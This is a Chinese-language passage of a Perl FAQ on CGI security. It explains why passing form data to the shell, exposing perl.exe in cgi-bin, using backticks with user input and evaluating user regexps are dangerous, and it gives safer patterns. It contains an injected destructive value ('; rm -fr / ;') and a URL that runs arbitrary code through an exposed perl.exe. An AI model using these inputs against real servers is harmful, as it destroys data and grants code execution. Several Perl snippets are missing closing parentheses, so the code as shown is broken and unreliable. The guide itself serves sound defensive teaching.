-------------------------------------------------------------------------------- Q5.1: 以 Perl 写成的 CGI 程式是不是不如以 shell 或 C 写的来得安全? 这个问题的答案是: CGI 程式先天上就不安全,不管它是用那个语言写成的*。 【译者】WWW 及 CGI 操作安全 FAQ 中问题第 31 对此有深入的探讨。 -------------------------------------------------------------------------------- Q5.2:我该特别留意哪些安全事项? 绝对不要对 shell 暴露任何 form 资料。底下这几项通通都是安全漏洞: open(COMMAND, "/usr/ucb/finger $form_user"; system("/usr/ucb/finger $form_user"; @data = `usr/ucb/finger $form_user`; 话虽如此,在上面的第二种写法中,系统安全可藉着改变参数传送的方式而得以改 善。也就是将参数由字串方式传送 (shell 会先解译),改为序列方式传送。 system("/usr/ucb/finger", $form_user); 您同时应该阅读: 由 Lincoln Stein 所着,一份很完整的 WWW 及 CGI 操作安全 FAQ Paul Phillips 所着,CGI 安全 FAQ -------------------------------------------------------------------------------- Q5.3:为什麽大家都说 http://bigidiot.abuse-me.com/perl.exe?foo.pl 这样很危险?会有多糟? 极度危险! 想想看如果我这麽做会发生什麽事: http://bigidiot.abuse-me.com/cgi-bin/perl.exe?-e+'format:%20c' 现在您同意了吧?避免这个恶梦发生的方法: 将 perl.exe 执行档由 ``cgi-bin'' 移到 server 根目录以外的目录里去。 在 ``cgi-bin'' 里用批次档 (batch) script 来叫出您的 CGI script。 以下是一例。假设您的 CGI script 叫做 ``sample.pl'' 而您的批次档叫 ``simple.bat'': @echo off c:\dos_perl\perl.exe c:\netscape\ns-home\docs\cgi-bin\simple.pl 现在,您可以做: <A HREF="/cgi-bin/simple.bat">;Click Here</A>; -------------------------------------------------------------------------------- Q5.4:要如何在程式中安全地使用逆向撇号 (backticks,"`",位於键盘左上角)?这麽做: @ans = `grep'$user_field' some.file`; 是不是真的不安全? 是的! 这非常危险!试想,如果 $user_field 含有这样的内容会有什麽後 果: ; rm -fr / ; 要达到相同的效果,一个比较安全的做法是*: if (open GREP, "-|" { @ans = <GREP>;; } else { exec("/usr/local/bin/grep", $user_field, "some.file" || die "Error exec'ing command", "\n"; } close GREP; 【译者】 如果读者对以上 open GREP, "-|"部份的句法有疑问,可以 参阅 perlipc manpages 中 Safe Pipe Opens一节的说明。 -------------------------------------------------------------------------------- Q5.5: /$user_variable/ 这个句法是不是 Perl 5 中的一个安全漏洞? 不!这不是个安全漏洞。但是如果您用 eval 指令在执行期 (runtime) 去 评估这个叙述,那麽,它会变成一个安全死角。例如这种做法可能很危险: foreach $regexp (@all_regexps) { eval "foreach (\@data) { push(\@matches, \$_) if m|$regexp|o; }"; } ----------------------------------------------------- END |